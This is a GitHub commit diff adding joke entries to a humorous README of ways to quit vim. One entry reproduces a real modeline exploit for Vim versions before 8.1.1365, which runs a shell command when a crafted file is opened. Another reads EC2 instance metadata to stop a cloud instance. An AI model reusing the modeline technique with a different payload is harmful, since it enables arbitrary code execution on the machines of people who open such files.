Merge branch 'master' into master

This commit is contained in:
Luke Stephens (hakluke) 2020-02-05 01:26:12 +10:00 committed by GitHub
commit 7a07179a17
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -33,6 +33,13 @@ Credit: @kpumuk
:!grep -P "PPid:\t(\d+)" /proc/$$/status | cut -f2 | xargs kill -9
```
## The lazy pythonic using shell way
Credit: @PozziSan
```bash
python -c "from os import system; system('killall -9 vim')"
````
## The pythonic way
Credit: @hakluke
@ -527,9 +534,10 @@ exit him
how exit vim
```
### Linux
## Linux
```vim
:call libcallnr('libc.so.6', 'exit', 0)
```
## The canonical way
Credit: @ligurio
@ -644,3 +652,72 @@ vim
```
!aws --region `ec2-metadata --availability-zone | sed 's/placement: \(.*\).$/\1/'` ec2 stop-instances --instance-ids `wget -q -O - http://169.254.169.254/latest/meta-data/instance-id`
```
## The Arbitrary Code Execution Way
Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.
1. Create a file (say `quit.txt`) with the following data:
```
echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt
```
2. Ensure that the modeline option has not been disabled.
```
echo "set modeline" >> .vimrc
```
3. Open `quit.txt`.
```
:e! quit.txt
```
## The Circuit Breaker Way
Credit:@Tomcat-42
1. Leave your computer
2. Find the nearest electrical circuit breaker panel
3. Switch off and on the main breaker
4. Return to your computer
5. Your computer should no longer be running vim
**Note:** This approach prove itself ineffective against notebooks, desktops on a UPS or remote servers.
## The Ansible Way
Credit: @lpmi-13
run vim.yml playbook with the following contents:
```
---
- hosts: vimbox
vars:
required_packages:
- vim
tasks:
- name: install python 2
raw: test -e /usr/bin/python || (apt -y update && apt install -y python-minimal)
- name: Update APT package cache
apt:
update_cache: yes
- name: Run apt-get upgrade
apt: upgrade=safe
- name: Install required packages
apt: state=installed pkg={{ item }}
with_items: "{{ required_packages }}"
- name: Start Vim in the background.
shell: "(vim >/dev/null 2>&1 &)"
- name: Quit Vim.
shell: "(pkill vim)"
```
## The Stack Overflow Way
Credit: @cobaltblu27
*Yeah exiting vim is really frustrating sometimes. You should definately try using Neovim. It's fast, has terminal emulator, and also supports plugin that will help you exit vim.*